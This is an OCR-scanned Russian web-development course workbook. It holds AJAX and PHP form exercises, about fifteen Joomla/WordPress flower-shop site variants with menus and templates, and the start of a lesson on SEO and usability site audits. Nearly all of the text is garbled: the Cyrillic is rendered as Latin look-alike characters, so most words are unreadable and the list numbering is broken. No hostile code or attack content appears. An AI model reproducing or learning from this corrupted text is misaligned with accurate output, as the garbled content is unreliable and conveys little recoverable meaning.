JlaHHBIE TTOTyYEHBIN 3aHECEHBI B 0a3y!
id=

surname=

name =

sex=

education =

hobby=

5) nopaboTats php-cKpunT u3 3aganus 4, TakuM o0pa3oM, 4TOOBI Ha CTPAHMILYy BBIBOIMINCE NocieHue 10 3anmceii u3 6a3sl
JTAaHHBIX.

HUcnouan3oBanue Texnooruu AJAX g cozaanusa Web calitos
IMMPAKTHYECKOE 3AHSTUE Ned4 11O TEXHOJIOI'U AJAX

3apanme 1
PeanuzoBath crnenyoomuil crieHapuii:




[Tyctb umeetcs html-crpanuna, conepkaiasi TpU CChIIKM BUA: «CTPaHUIA 1» «CTpaHMIA 2» «CTpaHULa 3»
Hanucars javascript — pyHKIMIO, KOTOpasi MY KJIMKE MBIIIKOH [0 CChUIKaM, OTIPABIIET ajax-3apoc Ha cepBep MetonoM load u
BBIBOJIUT Ha CTPAHUILY Pa3IMIHBIN KOHTEHT.

3ananue 2

PeannsoBaTs ciaeayromuii cCrieHapyii:

[TycTs umeercs html-crpanuna, cogeprkaasi TpH CChIIKH BU/A: «9aCTh 1» «4acTh 2» «4acTb 3»

Hanucars javascript — pyHKIMIO, KOTOpasi MY KJIMKE MBIIIKOH MO CChUIKaM, OTIPABIIET ajax-3ampoc Ha cepBep MetonoM load u
BBIBOJIUT B Pa3HBIX MECTAaX CTPAHMIBI YaCTH OJHOTO U TOro ke html-mokymenTa.

3anganmue 3

1) co3nmatp html-crpanuity, cogepkaniyto GopMy ¢ TpeMs TEeKCTOBBIMH MOJMAMH(UMS, email, cooOIIeHme) 1 KHOIKOH
«otnpaBuTh». Hanmcars QyHKIHIO javascript, OCYIIECTBIISIONIYIO CIIENYIOUHA CLIEHAPUH: IIPH KITMKE 10 KHOIIKE «OTIPABUTH)
javascript-h)yHKITUS OTIPABIISICT JaHHBIE Ha CEpBEpP METOAOM ajax, JaHHbBIE (POPMBI COOMPAIOTCS «BPYUIHYIO»

C cepBepa JOIDKHO MPUITH COOOIIEHHE, CIESAYIOIEro BUIA:

Mertopx otmpaBku JaHHbIX: POST
Bl oTnipaBmiu cnenyromue JaHHbIE:
Wwms: MBanos MBan

Email: ivan@mail.ru

Texcr coobmenust: S npumen k Tede ¢ mpuBeTom!

3ananue 4
co3narb html-crpanuiy, cogepxamyo ¢opmy

Damruria: | eHo Hwaz: | kynomo

Bam rtomn: Mssckoit '® Fencruid

ObpasoeaHite ;| HeaakoHYeHHOS BeiCLLEs ¥
Hobbm :

Fribanka

Cnopt

KomneloTepsl

Het

COTnpaenTe Cipoc

Hamucats ¢QyHKIMIO javascript, OCyIIeCTBIAIONIYIO CISAYIOMNI ClieHapuil: IPH KINKE 10 KHOIIKE «OTIPABUTEY javascript-
(yHKIWS OTHpaBIsIeT JaHHBIC Ha CEpBEP METOJOM ajax, JaHHBEIe (POPMBI COOMparoTcs MeTooM serialize().

Cxpunt 00pabOTUYHK Ha cepBepe NpHHIMAET JaHHBIE U OTIPAaBJseT MICEMO Ha anpecadmin@mail.ru. ComeprkaHue MUChMa:
YBaxaembiii anmun! [Toap3oBarenb «paMuIms, IMsD) OTIIPABHII BAM CBOH JAHHBIC «YHCII0.MECSIL. TOJ

C cepBepa J0DKHO MPUATH COOOLICHHE, CISAYIOMIETO BUAA:

Jlarnble momy4eHs!!
Ha ampec admin@mail.ru oTmpaBieHO MUCHMO OT «(aMIITHS UMD

3ananue 5

1)Bbi0Oparhb npon3BosbHbIH html-11ab10H U3 Manku «mabIoHbl CAiTOB)

2)B BrIOpaHHBIE MIA0JIOHBI BCTPOUTH CIEAYIONINE CKPHIITHI

a) perucTpanys U aBTOpu3aIus (C UCIOIB30BAHNEM ajax+jquery)

0) oTIpaBKa KOHTAKTHOW (hOPMBI(C HCIIOIH30BAHUEM ajax-+jquery)

B)KaKoi# 100 BapraHT rOCTEBON KHUTH C OTOOpaskeHHEeM KOMMEHTapHeB(C UCTIONB30BaHIEM ajax+jquery)
TI')peaJin30BaTh BO3MOXKHOCTH 3arpy3Ku (hailJIoB Ha CaiT MoJib30BaTeNeM(C UCIIOIL30BaHUEM ajax+jquery)

3.5 llpakTnyeckue 3aganus no reme «CucreMspl ynpanjieHUs] KOHTEHTOM»

IIpakTH4yeckoe 3a1aHue

«Pabora ¢ marepuanamu u Menro B CMSJoomla, u CMSWordpress»

3aganue: Co3nats B CMSJoomla u CMSWordpress caiiTbl COOTBETCTBEHHO CBOeMY BAPHAHTY B
COOTBETCTBUM C YCJIOBHSAMH, ONIMCAHHBIMH B Tad/uue

Bpems BbInoJIHeHUs 6 yacoB

BapuanTsbl 3a1anui

Ne BapuanTa 1
Ha3Banue caiita IIBeTHI Bameii MeUTHI
KaTeropuu 1)LBeTs!

2)bykeTsl
MaTepHabl 1)KpacHble po3sl,




2)0enbie PO3bI,

3)xenTsie po3bl

4)p030BBIEC PO3BI

5)0yKeT U3 KpacHBIX U JKENTHIX pO3
6)0yKeT U3 KPacHBIX U PO30BBIX PO3
7)cTaThs 0 po3ax

8)craThs 0 Oykerax

Menwl1(rinaBHoe)
(TOpU30HTAIEHO BBEPXY)

1)I'maBHasi(cTaThst O LIBETAX)

2)Kartanor 1BETOB (OI0T KaTETOPUH IIBETHD»)

3) karaiyior OyKeTOB (CIIMCOK KaTeropuu «OyKeThI»)
4)3aka3aTh nBeTHI(PopMa KOHTAKTA)

MeH102(KaTajaor 1BeTOB)
(ctipaBa nnu cieBa)

Bce po3bI (cTaThs 0 po3ax)
KpacHusbie po3bl (MaTepran «KpacHbIE PO3bI»)
Benvre po3si(Marepuan «Oenbie po3bl»)
XKenteie po3si(MaTepuan «KenTeie po3s»)
PO30BBIE pO3bI(MaTEPHAT «PO30BBIE PO3BD»)

Menro3(kaTaJjior 6yKeToB)
(cripaBa nnm cieBa)

Bce OykeThbl (cTaThs 0 OyKeTax)
OyKeT U3 KpacCHBIX U JKEJITHIX PO3
OyKeT U3 KPacHbIX M PO3OBHIX PO3

IIa6a0H

Beez20

Ne BapuanTa

2

HasBanmue caiita

Mup 1BeTOB

KaTeropHuu

DI'Bo3auKH
2)bykeTsl

MaTepHralibl

1)Kpacuble rBO3aMKH,
2)0erbie TBO3TUKH,
3)xenThie TBO3UKU
4)p030BbIe TBO3TUKH
5)buoaeToBBIC TBO3AUKH
5)0yKeT «po30Bast pocay
6)OyKeT U3 «B IIydax JIeTa»
7)cTaThs O TBO3UKAX
8)cTaThs 0 Oykerax

Menw1(rinaBHoe)
(TOpU30HTAJIEHO BBEPXY)

1)I'naBHas(CTaThs O TBO3IMKAX)

2)karanor 1BeToB (00T KaTeropuu «I BO3AUKM»)
3) xaTanor OyKeTOB (CHICOK KaTerOPHH «OyKETHI»)
4)3aka3aTh nBeTHI(PopMa KOHTAKTA)

MeH1o2(kaTajnor HBeTOB)
(cripaBa miH ciieBa)

Bce rBo3auku (crarbs o ['Bozaukax)
KpacHble rBo3auky (MaTepuai «KpacHble TBO3IHKNY)
Benble rBo3anku (Marepuan «Oeible TBO3AUKN)
XKenteie rBo3ankn (Marepuan «Kentbie rBO3IUKI»)
PO30BBIE TBO3IUKH (MaTeprajl «PO30BbIE TBO3TUKIY)

Menro3(kaTaJjior 6yKeToB)
(cripaBa niH ciieBa)

Bce OykeTnI (cTaThs 0 OyKeTax)
OyKeT «My3bIKa JIeTa»
OYKeT «JIyHHasi COHaTay

ITa60H

Beez5

Ne BapuanTa

3

HasBanme caiirta

[1BeTouHbII MUp

KaTeropumn

)IIBeTs
2)bykeTsl

MaTepuralibl

1)KpacHsble TIoNbIaHBL,
2)0enbie TIObIIaHBbI,
3)XKeNThie TIONbIIAHBI
4)p030BBIC TIOJIBIIAHBI

5) cCUHHE TIOJBITAHBI

6)0yKeT «BOCEMOE UyJI0 CBETa)
7)OyKeT «rapMOHUSD»

8)cTaThs O TIOJBIAHAX
9)craThs 0 OyKeTax

Menw1(riaBHoe)
(TOpM30HTAIEHO BBEPXY)

1)I'maBHasI(CTaThs O TIOJbIIAHAX)

2)KaTaJor 1BETOB (0JIOT KAaTerOPUH «IIBETHI»)

3) xaTanor OyKeTOB (CHHCOK KaTerOPHH «OyKETHD)
4)3aka3aTh HBETHI((POopMa KOHTAKTA)

MeH102(KaTaJo0r 11BETOB)

Bce ToJIbNIAHBI (CTAThs O THOJIBIIAHAX)




(cipaBa nnm cieBa)

KpacHble TronbpIaHsl (MaTepHal «KpacHbIE TIONbIIAHBD))
Benble Tronbrianbl(MaTepran «Oesble TIONbIAaHbD»)
XKentble Tronpnanbl(MaTepuan «KenTbie TIOIbIIAHbI)
PO30BbIE TIOJIBIIAHBI(MATEPHUAN «PO30BBIE TIOJIBITAHBD)
CHHHE TIOJIbIIaHbI(MaTepHal KCHHHE TIOJIBIIAHBD?)

Menw3(karajaor Bce OykeTnI (cTaThs 0 OyKeTax)
0ykeToB) OyKeT «rapMOHUS»
(ctpaBa miu cieBa) OyKeT «BOCbMOE UyJI0 CBETa»
Iads10H Beez20
Ne BapuanTa 4
Ha3BaHue caiita Humdanopa
KaTeropuu )LBeTs!
2)bykeTsl
MaTepHaIbI 1)KpacHusie acTpsl,
2)0emnbie acTphl,
3)KenThie acTpbl
4)po30BBIE aCTPHI
5)OyKeT «TpeneTHas HEeKHOCTh
6)OyKeT «I[BETOYHAsI IParolieHHOCTb)
7)cTaThs 0 po3ax
8)cTaths 0 OykeTax
Menw1(riaBHoe) 1)I"maBHAs(CTaThs O I[BETAX)

(TOpU30HTAIEHO BBEPXY)

2)KaTtanor UBETOB (OJIOT KaTETOPUH IIBETHD»)
3) xarasor OyKeToB (CIIHCOK KaTeropuu «OyKeThI»)
4)3aka3aTh OBETHI((OpMa KOHTAKTA)

Men1w2(kaTajnaor BeTOB)
(cnipaBa nnu cieBa)

Bce acTpsl (cTaThs 0 acTpax)
KpacHble acTpsl (MaTepual «KpacHbIE acTPhD»)
Bbenwie actpei(MaTepuan «06espie acTphb»)
JKenteie actpsi(mMaTepuan «KenTeie acTpe»)
PO30BBIE acTpbl(MaTepua «pO30BbIE aCTPhI»)

Menro3(kaTaJior 6yKeToB)
(cnipaBa nnu cieBa)

Bce OykeTnI (cTaThs 0 OyKeTax)
OyKeT «TpeneTHas HeXXHOCTB
OYKeT «IIBETOYHAsl APAroleHHOCTh»

IIa6a0nH

Beez5

Ne BapuanTa

5

HasBanme caiirta

Awmanus

KaTeropuu

)LBeTs!
2)bykeTsl

MaTepuasl

1)KpacHsle riagnoirycel,
2)0ernbIe TIaINOTYCHI,
3)KeNThie IIaUOITyChI
4)pO30BbIE T IHOTYChI
5) OYKeT «COJHIIE U JIyHa»
6) OykeT «po30Bas poca»
7)cTaThs O 1IBETAX
8)cTaths 0 GykeTax

Menio1(riiaBHoe)
(TOpU30HTAIEHO BBEPXY)

1)I"maBHAsI(CTaThs O I[BETAX)

2)KaTtanor IBETOB (00T KaTETOPUH IIBETHD»)

3) xarasor OyKeToB (CIIHCOK KaTeropuu «OyKeThI»)
4)3aka3aTh IBETHI((OpMa KOHTAKTA)

Men1wo2(KkaTajnor BeTOB)
(cnipaBa nnu cieBa)

Bce riiaamonycsl (cTaThs 0 IBETaX)
Kpacubie riaguonycel (MaTepuai «KpacHbIC
TJIQAHOITYCBD»)
benwie rmagnonycei(MaTepuan «Oemple TIaauoIyChD»)
JKenrteie rmamnonycei(Marepuan «XKenteie
TJIQAHOITY CBD)
PO30BEIC MU0y ChI(MaTepHall «PO30BBIC
TJIJHOITYCEI)

Menw3(kaTanor 0yKeToOB)
(cripaBa nnu cieBa)

Bce 0ykeTnl (cTaTbsi 0 Oykerax)
OYKeT «COJIHIIE U JIyHa
OYKeT «po30Basi pocay

I1a6a0nH

Beez20

Ne BapuanTa

6

Ha3zBanme caiita

®nopa-T'ong




KaTeropuu

)LBeTs!
2)bykeTsl

MaTepuasl

1)cuHMEe UpHUCHI,

2)0ernbie UPUCHI,

3)KeNThie UPUCHI

4)duoreToBbIC HPUCHI

5)0ykeT «carndupoBoe 0KepeIbe»
6)0yKET «HEIKHOCTH

7)cTaThs O 1IBETAX

8)cTaths 0 GykeTax

Menio1(riiaBHoe)
(TOpU30HTAIEHO BBEPXY)

1)I'maBHasI(cTaThs O IBETAX)

2)KaTanor IBETOB (OJIOT KaTETOPUH IIBETHD»)

3) xarasor OyKeToB (CIIHCOK KaTeropuu «OyKeThI»)
4)3aka3aTh OBETHI((OpMa KOHTAKTA)

Men1w2(kaTajnaor BeTOB)
(cnipaBa nnu cieBa)

Bce upuchl (cTaThs 0 1IBETaX)
CUHHE UPHUCHI (MaTepHall «CHHUE UPUCHD))
benwie npucei(Marepuan «0eabie UPUCHD»)
JKentsie upucsi(marepuan «Kentbie HpHUCHD»)
(duosreToBBIe HPHCHI(MaTepHal «(UOJETOBBIE UPUCHI»)

Menmw3(karajaor Bce OykeTnI (cTaThs 0 OyKeTax)
0ykeToB) Oyket «cardupoBoe oxepenbe»
(ctpaBa miu cieBa) OYKeT «HEKHOCTHY
Iads10H Beez5
Ne BapuanTa 7
Ha3Banue caiita IIBeTouHBIH pait
KaTeropuu 1)BeTst
2)bykeTsl
MaTepHabI 1)KpacHbie reopTruHSI,
2)0eIbie TEOPTHHEL,
3)opamKeBBIE TEOPTUHBI
4)p030BbI€ FEOPTUHBI
5) OyKeT «IeTH COJTHIIa»
6) OYKeT «OpaHKEeBOE JICTO»
7)cTaThs O IBETAX
8)craThs 0 OyKeTax
Menw1(riaBHoe) 1)I'maBHas(CTaThs O I[BETAX)

(TOpHU30HTANIBHO BBEPXY)

2)kaTajor BeToB (0JIOT KaTEropuH «I[BETHD»)
3) xaTanor OyKeTOB (CHHCOK KaTeTOPUH «OyKETHI»)
4)3akazaTh UBETHI((hOpMa KOHTAKTA)

MeH102(KaTajnor 1BeTOB)
(cripaBa nnm cieBa)

Bce reoprunsl (ctaThs 0 1IBETax)
KpacHble reoprunbl (MaTepral «KpacHbIe T€OPTHHBI)
Benple reoprunsi(Marepuan «0enbie TeOpTHHbBD))
OpamxeBble reoprudbl(MaTepuan «OpaHKeBbe
TCOPTHHED)
PO30BBIE TE€OPTHHBI(MaTEPHAI KPO30BBIE T€OPTHHBD)

Menro3(karaJjior 0yKkeToB)
(cmipaBa nnm cieBa)

Bce 0ykeTnI (cTaTbs 0 OykeTax)
OYKeT «JeTH COHLIA»
OYKET «OpPaHKEBOE JIETOY»

I1a6a0H

Beez20

Ne BapuanTa

8

Ha3zBanme caiita

DnopeHuus

KaTeropuu

)LBeTs!
2)BbykeThl

MaTepHraJibl

1)romy0sie TOpTEH3UH,
2)0erble TOPTEH31H,
3)KenThle TOPTEH3UN
4)p030BbIE TOPTEH3UU

5) OyKeT «My3bIKa JIeTay
6) OykeT «couHIe 1 HeOo»
7)cTaThs O IIBETAX
8)cTaths 0 OykeTax

Meniol(riiaBHoe)
(TOpU30HTAILHO BBEPXY)

1)I"maBHas(cTaThs O I[BETAX)
2)kaTajor 1BeToB (0JI0T KaTeropHH «IBETHD»)




3) karayior OyKeTOB (CIIMCOK KaTeropuu «OyKeThI»)
4)3akazaTh UBETHI((hOpMa KOHTAKTA)

MeH102(KaTajaor 1BeTOB)
(cripaBa nnm cieBa)

Bce ropren3uu (CTaThs O IIBETAX)
KpacHbie ropTeH3un (MaTepuai «KpacHble TOPTESH3UNY)
Benble roprenzuu(marepuai «Oesbie TOPTEH3UI)
XKenteie roprensuu(marepuan «Kenrbie ropTeH3UM»)
pPO30BbIC FTOPTEH3UU(MATEPHAIT KPO30BBIC TOPTCH3IUI))

Menro3(kaTaJjior 0yKkeToB)
(cripaBa nnm cieBa)

Bce 0ykeTnI (cTarbsi 0 Oykerax)
OyKeT «My3BIKa JIeTa)
OYKeT «COJIHIE U HeOO»

IIa6a0H

Beez5

Ne BapuanTa

9

HasBanmue caiita

busnec-Oyker

KaTeropuu

)IIBeTsr
2)bykeTsl

MaTepHralibl

1)KpacHble XpHU3aHTEMEL,
2)0eble XpU3aHTEMBI,
3)KenTble XpU3aHTEMbI
4)p030BbIE XPU3AHTEMBI

5) OykeT «OyKeT Ui ACBOUKI»
6) OyKeT «BOCHMOE UYIIO CBETa»
7)cTaThs O IIBETaX

8)cTaThs 0 Oykerax

Menwl1(rnaBHoe)
(TOpU30HTAJIEHO BBEPXY)

1)I'maBHasi(cTaThst O IIBETAX)

2)kartanor 1BETOB (OJI0T KaTETrOPUH IIBETHD»)

3) karayor OyKeTOB (CIIHCOK KaTeropuu «OyKeThI»)
4)3aka3aTh nBeTHI((PopMa KOHTAKTA)

MeH1w02(KaTajaor 1BeTOB)
(cripaBa miH ciieBa)

Bce xpu3anTeMbl (CTaThs O IIBETAX)
Cunue Xpu3aHTeMbl (MaTeprall «CHHIE XPU3aHTEMBI»)
Benvle xpu3anTempl(MaTepran «Oenble XpU3aHTEMBbD»)
XKenteie xpuzanTembl(MaTepuan «Kentole
XPHU3aHTEMBD»)
PO30BbIE XpH3aHTEMbI(MaTEpHall «PO30BbIE
XPpU3AHTEMBD»)

Menro3(kaTaJior 6yKeToB)
(cripaBa niH ciieBa)

Bce OykeTnbl (cTaThs 0 OyKeTax)
OyKkeT «OyKeT ISl JIEBOUKI
OYKeT «BOCHEMOE YO CBETa»

[Ia60H

Beez20

Ne BapuanTa

10

HasBanmue caiita

Oasnc

KaTeropuun

D)IBeTs!
2)bykeTsl

MaTepHabI

1)KpacHbie numiu,

2)0ebie JTUIIHH,

3)XKeNThIC JTUITHH

4)p030BbIC JTHITNH

5) OyKeT «rapMOHHSD»

6) OYKeT «COTHEYHEIH BETEP»
7)cTaThs O LIBETAX

8)craThs 0 Oykerax

Menw1(riaBHoe)
(TOpH30HTAIEHO BBEPXY)

1)I'maBHAas(CTaThs O I[BETAX)

2)KaTtanor 1BETOB (OJIOT KaTETOPUH IIBETHD»)

3) xaTanor OyKeTOB (CHICOK KaTeTOPUH «OyKETHI»)
4)3aka3aTh nBeTHI((opMa KOHTAKTA)

Men1w02(KkaTajnaor 1BeTOB)
(cnipaBa nnu cieBa)

Bce simumnm (craThst 0 1jBeTax)
Kpachble nunmn (MaTepuall «KpacHble JTHIHN)
beunbie mummu(Marepuan «0Oelbie JIMITUR)
Kenteie numun(marepuan «Kentele Tumum»)
PO30BBIC JIMITHH(MATEPHAI «PO30BBIC JIMITUHY)

Menio3(kaTaJior 6yKeToB)
(ctipaBa nnm cieBa)

Bce OykeTnl (cTaThs 0 OyKeTax)
OyKeT «rapMOHHSD)
OYKET «COJIHCUHBIH BeTep»

IIa6a0nH

Beez5




Ne BapuanTa

11

HasBanmue caiita

3enénplii Mup

KaTeropuun

1)LiBeTsr
2)bykeTsl

MaTepHabl

2)0enble HAPIUCCHI,
3)KenThle HapLUCCHI
4)p030BbIE HAPITHCCHI

5) OykeT «comHIle B OyKeTe»
6) OYKET «COJHIIE U JIyHa»
7)cTaThs O IIBETaX

8)craThs 0 OykeTax

Menwl1(rinaBHoe)
(TOpU30HTAIEHO BBEPXY)

1)I'maBHasi(cTaThst O LIBETAX)

2)Kartanor 1BETOB (OI0T KaTETOPUH IIBETHD»)

3) karayior OyKeTOB (CIIMCOK KaTeropuu «OyKeThI»)
4)3aka3aTh nBETHI(PopMa KOHTAKTA)

MeH102(KaTajaor 1BeTOB)
(ctipaBa nnm cieBa)

Bce Hapuuccsl (cTaThs 0 IBETax)
Benvre Hapmmcce(MaTepran «Oemble HaAPIHCCHD))
XKenteie Hapimceb(MaTepuan «XKenTbie HapIUCChHI»)
PO30BBIC HAPITUCChI(MaTEpHal «PO30BBIC HAPIHCCHD)

Menrw3(kaTanor 0yKeTOB)
(cripaBa nnm cieBa)

Bce 0ykeTnI (cTaTbs 0 OykeTax)
OyKeT «coJHIe B OyKeTe»
OYKET «COJHIIC U JIYHa

IIa6a0H

Beez20

Ne BapuanTa

12

HasBanmue caiita

Po3-0yket

KaTeropHuu

)IIBeTsr
2)bykeTsl

MaTepHralibl

1)Kpacusie po3sl,
2)0enbie PO3bI,
3)xenTsie po3bl
4)p030BBIC PO3BI
5)cuHME PO3BI

6) OyKeT «pO3BI B Camy»
7) OykeT «po30Bas poca»
8)craThs 0 po3ax
9)craThst 0 OykeTax

Menw1(rinaBHoe)
(TOpU30HTAJIEHO BBEPXY)

)I'maBHas(CTaThs O I[BETAX)

2)kartanor 1BETOB (OJI0T KaTErOPUH IIBETHD»)

3) xaTasnor OyKeTOB (CHHCOK KaTeTOPHH «OyKETHI»)
4)3aka3aTh nBeTHI((PopMa KOHTAKTA)

MeH102(KkaTajnor HBeTOB)
(cripaBa miH ciieBa)

Bce po3sI (cTaths 0 po3ax)
KpacHble po3sl (MaTepHran «KpacHbIE PO3bD»)
Benbie po3si(MaTepuan «Oenble po3b»)
XKenteie po3si(MaTepuan «KenTeie po3s»)
PO30BBIE PO3BI(MAaTEPHAT «PO30OBBIE PO3BI»)
CHHHUE pPO3bI(MaTepHajl «CUHHE PO3bI»)

Menro3(kaTaJjior 6yKeToB)
(ctipaBa miH ciieBa)

Bce OykeTnI (cTaThs 0 OyKeTax)
OyKeT «pOo3bI B camy»
OYKeT «po30Basi pocay

1a6Ji0H Beez5
Ne BapuanTa 13
Ha3zBaHnue caiita Jnana
KaTeropuu 1)BeTst
2)bykeTsl
MaTepHaIbI 1)KpacHsie opxuzaen,

2)0eIbie OpXUICH,
3)KenThIe OpXHUICH
4)p030BbIE OPXUICH

5) OyKeT «IyHHasi COHATay
6) OYKeT «HCTOpHS TFOOBI»
7)cTaThs O 1IBETAX




8)cTaths 0 GykeTax

Menw1(rnaBHoe)
(TOpM30HTAIEHO BBEPXY)

1)I'naBHasi(CTaThs O I[BETAX)

2)KaTtanor UBETOB (OJIOT KaTETOPUH IIBETHD»)

3) xaTasnor OyKeTOB (CHHCOK KaTerOpHH «OyKEThI»)
4)3aka3aTh IBETHI((OpMa KOHTAKTA)

MeH102(KaTAJIOT IIBETOB)
(cnipaBa nnu cieBa)

Bce opxuaen (cTaThs 0 IIBETAX)
Kpacubie opxujien (MaTepuan «KpacHbIC OPXUICH) )
Benbie opxunen(marepual «Oeibie OPXUICH) )
Kenteie opxunen(marepuan «Kenarbie opxuaem»)
PO30BBIE OpXHJIeH(MATEPUAT «PO30BBIC OPXUICH)

Menro3(kaTaJjior 6yKeToB)
(ctipaBa miH ciieBa)

Bce OykeTnI (cTaThs 0 OyKeTax)
OYKET «JTyHHasi COHATa»
OYKET «UCTOpUS JIFOOBI»

ITa60H

Beez20

Ne BapuanTa

14

HasBanme caiita

Kapnen

KaTeropuun

DIBeTs!
2)bykeTsl

MaTepHabl

1)KpacHble THOHBI,

2)0erbie THOHHI,

3)KeNThIe MHOHBI

4)p030BbIEC THOHBI

5) OyKeT «pO30BEIC MTHOHBD»
6) OyKeT «pOMAIIKOBBIN JIyT»
7)cTaThs O IBETAX

8)craThs 0 OykeTax

Menw1(riaBHoe)
(TOpM30HTAIEHO BBEPXY)

1)I'maBHAas(CTaThs O I[BETAX)

2)KaTaJior 1BETOB (OJIOT KAaTETOPUH «IIBETHI»)

3) xaTanor OyKeTOB (CHHCOK KaTeTOPUH «OyKETHI»)
4)3aka3aTh HBETHI((PopMa KOHTAKTA)

MeH1w02(KkaTajnor 1BeTOB)
(cnipaBa nnu cieBa)

Bce nmuonbI (cTarhbs 0 1BETAX)
Kpachsle nuoHs! (MaTepuan «KpacHble ITMOHbBD)
Benple muonbi(MaTepran «Oebie TTHOHBD))
JKenteie nuonsl(MaTepuan «KenTsle MHOHBD)
PO30BBIC MTHOHBI(MAaTEPHAT «PO30OBBIC TTHOHBIY)

Menro3(kaTaJior 6yKeToB)
(cnipaBa nnu cieBa)

Bce OykeTnbl (cTaThs 0 OyKeTax)
OyKeT «pO30BbIC THOHBI»
OYKeT «POMAaIIKOBBIN JIyT»

I1a6a0nH

Beez5

Ne BapuanTa

15

HasBanme caiita

I'pann-Pnopa

KaTeropuun

D)IBeTs!
2)bykeTsl

MaTepHabI

1)(brosieTOBBIC THAIIUHTEI,
2)0erble THAMHTHI,
3)XKeNThIe THAIITHTHI
4)p030BbIC THAIUHTEI

5) OykeT «iensHble PyqYeHKI
6) OyKeT «IyHHasi COHATay
7)cTaThs O LIBETAX

8)craThs 0 OykeTax

Menw1(riaBHoe)
(TOpU30HTAIEHO BBEPXY)

1)I'maBHAas(CTaThs O I[BETAX)

2)KaTaynor UBETOB (OJIOT KaTETOPUH IIBETHD»)

3) xaTanor OyKeTOB (CHICOK KaTeTOPUH «OyKETHI»)
4)3akazaTh UBETHI(()OpMa KOHTAKTA)

Men1w2(KkaTajaor 1BeTOB)
(ctipaBa niH cieBa)

Bce ruanmHTBI (CTATHS O IIBETAX)

(hroneTOBBIC THAIIMHTHI (MaTepHal «(QHOIETOBbIC THAIMHTED)

Benple rmannnTHI(MaTepran «0Oenble THAlUHTBD))
XKenteie ruarmuTBI(MaTeprai «XKenTble THAIUHTED?)
PO30BbIE THAIIMHTHI(MATEpPUaJl KPO30BbIE THALIMHTED»)

Menro3(karaJjior 0yKkeToB)
(ctipaBa nnm cieBa)

Bce 0ykeTnI (cTaTbs 0 OykeTax)
OyKeT «JIesTHbIe PyYeHKID)
OYKeT «IyHHasi COHATa»




| [Ta6Ji0H | Beez20

4. IlpakTnueckue 3aganus no reme MJIK. 09.02 OnTumu3zanusi BeO-npuI0KeHn

4.1 IIpakTuyeckue 3agaHus mo reme «9.2.1 Meroabl onTuMmu3anum Beo -
MPUJI0KEHUID)

IIPAKTUYECKAS PABOTA Ne 1. TIPOBEJJEHUE OBILIEIO AVIIUTA CAUTA: SEO,
IO3ABUJIUTHU, TEKCTbI

Lesib: 03HAKOMHTHCS C MPOLIECCOM TPOBENICHHS OOIIETO ayIuTa caiTa.
Teopemuueckue 8onpocwi

[lonsaTne ayaura caiira.

SEO-ananu3 caiita.

basoBble cocTaBistonye ayauTa 103aduauT
AyauT — 3TO mpolenypa He3aBUCHUMOM OIEHKH caiiTa skcrepToM. OleHKa JoMKHa ObITh HE3aBUCUMOM
JUTSL TOTO, YTOOBI HE OBITh TIPEB3ATOM, a IKCIIEPT JOJKESH pa30upaThecs B paboTe BeO- CATOB.

10 monosvix owudOK 103a0UIUMU UHMEPHEM-MaA2aA3UHA
1. Marasus npofaeT CIUIIKOM pa3HbIe TOBapHI.
. I1o rmaBHOM CTpaHUIE HETIOHSATHO, YTO MPOAAET Mara3suH.
. JUITMHHBINA TEKCT Ha TJIaBHOW CTPAaHULIE BMECTO pPEIICHHUs TPOOIEMbI KIMEHTA.
. HexauecTBeHHBI ITOMCK TOBAPOB HA CAMTE.
. HesicHo, B kakux ropojax paboTtaetr MarasuH.
. becrionesnslie ciaiinepsl.
. CnoxHasi CTpyKTypa Karajiora.
. 3armyTaHHasi HABUTAIUs IO CaUTYy.
. Omm6ku npu oopMIICHIH 3aKa3a.
10. Hanuune 06s13aTenbHOM perucTpaiim/aBTopu3aluu.
OmmOKH TOJCTeperaroT Be3le: B 03a0WINTH, B ONTHMHU3AIMH CaiiTa, B HACTPOWKE CUYECTYMKA BeEO-
aHanutukd. [loaTomy moGoMy Biazesnblly caiTa clieqyeT 3HaTh, Ha Kakuhe MapaMeTpbl oOpariarhb
BHMMaHHE TIPU OIICHKE CBOETO caiTa. DTH 3HAHUA NPHUTOASATCS U TMPU TNpuUeMe pabdoT Mo cauTy
(onTumu3anus, 1opaboOTKM), €CIU BBl Jajdl KaKyl-TO 3aJady CBOMM pa3paboTuukam, TUOO 3aKazaiu
JOpaOOTKU Y CTOPOHHEN KOMIIAHUH.
Ceituac B MHTEepHEeTE B CBOOOIHOM JOCTYIE €CTh MHOTO YEK-JIUCTOB JJISi CAMOCTOSITETBHOW MPOBEPKH
ONTUMU3ANNN U F03a0WIUTH caita. OIUH U3 KIACCHYCCKUX YEK-JINCTOB IO F03a0miuTH — 10 3BpHCTHK
Slkoba HunbceHa, W3BECTHOrO clelUanMcTa B OOJAacTH MPOEKTUpOBaHWs HHTepdeicoB. s oneHku
ONTUMH3ALIUU TAK)KE €CTh YEK-JIUCTHI B OTKPBITOM JIOCTYTIE.
[Tpu KOMITJIEKCHOM ayAWTe, olleHnBarTca Oonee yeM 150 mapamerpam. SEO-ananu3 caiita mpoBOAgUTCS
IO CJIEAYIOUINM MapaMeTpam.

e Ternu title, description, keywords (Teru 10mKHBI COOTBETCTBOBATH OCHOBHBIM TPABHJIAM ).

e Term 3aromoBkoB HI1, H2 (mpaBunmpHOE€ odoOpMIICHHE 3aroJiOBKOB HE TOJIHKO IOMOKET
MOCETUTEIIO OBICTpEe HAWTH HYKHYIO HH(QOPMAIMIO ¥ COPUEHTUPOBATHCS HA CTPAHUIIC, HO M MTO3BOJIAT
YBEJIMYUTH BEC KITFOUYEBBIX CIIOB).

e ATpubyt Alt st kapTuHOK (arpudyT alt Tera <img> MOHKEH MPHUCYTCTBOBATh BO BCEX KaPTHHKA
caira).

e AHanmu3 TEKCTOB Ha calTe (KaueCTBEHHBIE TEKCTHI — 3TO OCHOBA BCETO MPOIBIKEHU).

e VYHHKaJIbHOCTb.

e OnTumuzanus.

e [IpoBepka ¢ TOUKH 3pEHUS MOJB3bI AJIS1 YUTAIOLIETO.

o TexHuueckue XxapaKTePUCTHKU:

o (aiin Robots.txt (mpuUCyTCTBYT 1K 3TOT (aiin);

o Hannuue omuoku «Googlebot He MoxkeT monyunTh Aoctyn K (aiinam CSS u JS Ha caiitey;

0 CKOpPOCTb 3arpy3KH CTPAHHUIL;

0 ONTUMHU3ALIUSA 1101 MOOUIIBHBIE YCTPONCTBA;

O 0 1N DN K WIN



o BanmuaHocth HTML-kxona;
0 OUTBIE CCHUTKH (HAJIMYME OUTHIX CCHUIOK HETaTUBHO CKA3bIBACTCS HA MPOJABUKEHUN);
